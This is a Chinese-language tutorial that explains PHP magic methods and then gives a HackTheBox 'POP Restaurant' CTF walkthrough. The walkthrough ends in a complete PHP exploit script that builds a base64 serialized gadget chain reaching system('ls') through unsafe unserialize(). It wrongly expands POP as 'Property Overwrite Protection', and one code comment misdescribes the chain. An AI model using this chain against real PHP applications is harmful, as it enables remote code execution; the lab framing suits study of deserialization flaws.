PHP Magic Method
PHP magic methods 是以双下划线 (__) 开头的特殊方法,允许开发人员定义对象在特定场景中的行为方式。虽然术语 “magic” 可能暗示着某种神秘的东西,但这些方法只是动态和优雅地处理常见面向对象编程模式的工具。
魔术方法 | 用途描述 | POP 利用方式的影响版本及说明 |
---|---|---|
__construct() | 构造函数,在创建对象时自动调用 | 在反序列化过程中首先被调用,可用于初始化操作。通常不会直接用于POP链中。 |
__destruct() | 析构函数,在对象销毁时自动调用 | 常用于触发反序列化后的后续操作,是构建POP链的关键点之一。 |
__call() | 当调用未定义或不可见的方法时自动调用 | 可能用于动态方法调用,但通常不直接涉及反序列化攻击。 |
__callStatic() | 当调用未定义或不可见的静态方法时自动调用 | 类似于__call() ,主要用于静态上下文,不是反序列化攻击的主要目标。 |
__get() | 访问未定义或不可见的属性时自动调用 | 可以与__set() 、__isset() 和__unset() 结合使用来控制属性访问,常用于POP链构造。 |
__set() | 设置未定义或不可见的属性时自动调用 | 同上,用于属性设置,对于构建复杂的POP链至关重要。 |
__isset() | 当对未定义或不可见的属性调用isset() 或empty() 时调用 | 提供了对属性存在性的检查机制,可能影响POP链的行为。 |
__unset() | 当对未定义或不可见的属性调用unset() 时自动调用 | 允许删除属性,对于管理内部状态非常有用,也可能被用于复杂的POP链中。 |
__sleep() | 序列化对象之前被调用 | 可以用来清理对象并返回一个包含对象所有变量名的数组。不过,在现代PHP版本中,它很少用于POP攻击。 |
__wakeup() | 反序列化对象之后被调用 | 经常用于重新建立数据库连接等操作,是构建POP链的重要部分。 |
__toString() | 尝试将对象作为字符串使用时被调用 | 如果实现不当,可能会导致信息泄露或者进一步的代码执行漏洞。 |
__invoke() | 当尝试将对象当作函数调用时被调用 | 可以用于简化回调函数的使用,也可能成为POP链的一部分。 |
__set_state() | 当调用var_export() 导出类的状态时被调用 | 主要用于导出类的状态,不是反序列化攻击的主要入口。 |
__clone() | 当对象被复制时被调用 | 对象复制时进行自定义处理,一般不直接参与反序列化攻击。 |
Some Examples
简单来说,POP(Property Overwrite Protection)就是将魔数方法串联以达到 RCE/file included/Local File (Arbitrary) Read 等漏洞。接下来我们一些例子为说明。
HTB | POP Restaurant
访问网站,我们能够获取得到一个登录界面。考虑到是 CTF 竞赛没有什么其他好测试的,直接注册一个账户看看具体提供的功能。
发现是一个点餐服务的网页,我们拦截报文查看一下:
POST /order.php HTTP/1.1Host: localhost:1337User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflate, brContent-Type: application/x-www-form-urlencodedContent-Length: 89Origin: http://localhost:1337Connection: closeReferer: http://localhost:1337/index.phpCookie: PHPSESSID=19c0a08c4b05b5d12f69b8da7e5bb1d0Upgrade-Insecure-Requests: 1
data=Tzo1OiJQaXp6YSI6Mzp7czo1OiJwcmljZSI7TjtzOjY6ImNoZWVzZSI7TjtzOjQ6InNpemUiO047fQ%3D%3D
很明显对方采用了 PHP 作为后端,其次数据传输采用了 URL encode + Base64 encode。解码之后的数据应该是:
O:5:"Pizza":3:{s:5:"price";N;s:6:"cheese";N;s:4:"size";N;}
这就很想 PHP 序列化了。首先 Dockerfile 中的 FROM php:7.4-apache
暴露了 PHP 后端版本是 7.4。其次题目给出了源码,所以我们完全可以去看看。
<?phperror_reporting(0);require_once 'Helpers/ArrayHelpers.php';require_once 'Helpers/CheckAuthentication.php';require_once 'Models/PizzaModel.php';require_once 'Models/IceCreamModel.php';require_once 'Models/SpaghettiModel.php';require_once 'Models/DatabaseModel.php';
isAuthenticated();$username = $_SESSION['username'];$id = $_SESSION['id'];
$db = new Database();
$order = unserialize(base64_decode($_POST['data']));
$foodName = get_class($order);
$result = $db->Order($id,$foodName);if ($result) { header("Location: index.php"); die();} else { $errorInfo = $stmt->errorInfo(); die("Error executing query: " . $errorInfo[2]);}
后端处理程序就是简单地检查了认证。没有前置的绕过事项。其次就是调用了:
$order = unserialize(base64_decode($_POST['data']));
这就以为着可能存在反序列化漏洞破坏软件/数据的完整性。于是我们考虑去查看各个结构。
class Spaghetti{ public $sauce; public $noodles; public $portion;
public function __get($tomato) { ($this->sauce)(); }}
可以看到 class Spaghetti
提供了 __get()
方法并调用了 ($this->sauce)();
。因此从期望上说,我们希望 $this->sauce
是一个函数。
class Pizza{ public $price; public $cheese; public $size;
public function __destruct() { echo $this->size->what; }}
又从上述代码中可以发现 class Pizza
提供了 __destruct()
方法,这个方法将在对象析构时自动调用。
class IceCream{ public $flavors; public $topping;
public function __invoke() { foreach ($this->flavors as $flavor) { echo $flavor; } }}
class IceCream
则提供了 __invoke()
方法,其可以将对象作为函数对待并调用。综上,我们很容易可以构造出 Pizza -> Spaghetti -> IceCream
的调用链子。但是这里还不够,考虑到:
public function __invoke(){ foreach ($this->flavors as $flavor) { echo $flavor; }}
所以这里的 flavors
应该是一个 LIST/Array。好在天无绝人之路,后端处理过程中存在:
namespace Helpers{ use \ArrayIterator; class ArrayHelpers extends ArrayIterator { public $callback;
public function current() { $value = parent::current(); $debug = call_user_func($this->callback, $value); return $value; } }}
上述片段你完全可以通过 require_once 'Helpers/ArrayHelpers.php';
发现。
于是,我们可以将 POP 链修改成 Pizza -> Spaghetti -> IceCream -> Helpers\ArrayIterator
。
<?php
// 定义 Helpers\ArrayHelpers 类namespace Helpers { use ArrayIterator;
class ArrayHelpers extends ArrayIterator { public $callback;
public function current() { $value = parent::current(); $debug = call_user_func($this->callback, $value); return $value; } }}
// 全局命名空间下的类定义namespace {
class Pizza { public $price; public $cheese; public $size;
public function __destruct() { // 可选删除下面这行,因为 $this->size->what 并不存在 // echo $this->size->what; } }
class Spaghetti { public $sauce; public $noodles; public $portion;
public function __get($tomato) { ($this->sauce)(); } }
class IceCream { public $flavors; public $topping;
public function __invoke() { foreach ($this->flavors as $flavor) { echo $flavor; } } }
// Step 1: Final gadget – executes `system('ls')` $ArrayHelpers = new Helpers\ArrayHelpers(['ls']); $ArrayHelpers->callback = 'system';
// Step 2: Intermediate callable object $IceCream = new IceCream(); $IceCream->flavors = $ArrayHelpers; // __invoke() calls call_user_func_array(callback, flavors)
// Step 3: Trigger from __get() inside Spaghetti // there is no doubt that spaghetti doesn't have the what property $Spaghetti = new Spaghetti(); $Spaghetti->sauce = $IceCream;
// Step 4: Top-level Pizza → triggers __destruct → __get → __invoke $Pizza = new Pizza(); $Pizza->size = $Spaghetti;
// Serialize and encode $serialized = serialize($Pizza); $base64 = base64_encode($serialized);
echo "Serialized Payload:\n$serialized\n\n"; echo "Base64 Payload:\n$base64\n\n";}
最后,你只需要执行 php -f exp.php
就可以获取得到 payload 了。
事实上,上述的 payload 不足以支撑你获取 flag ! 在 Dockerfile 中存在如下语句:
RUN bash -c 'FLAG_NAME=$(head /dev/urandom | tr -dc A-Za-z0-9 | head -c 12) && cp /flag.txt "/${FLAG_NAME}_flag.txt" && rm /flag.txt'
因此你获取采取爆破/搜集信息来获取得到具体的 flag 名称。我更倾向于后者。
而我想留给你的思考题是,你能否仅用一句话就可以获取得到 flag ?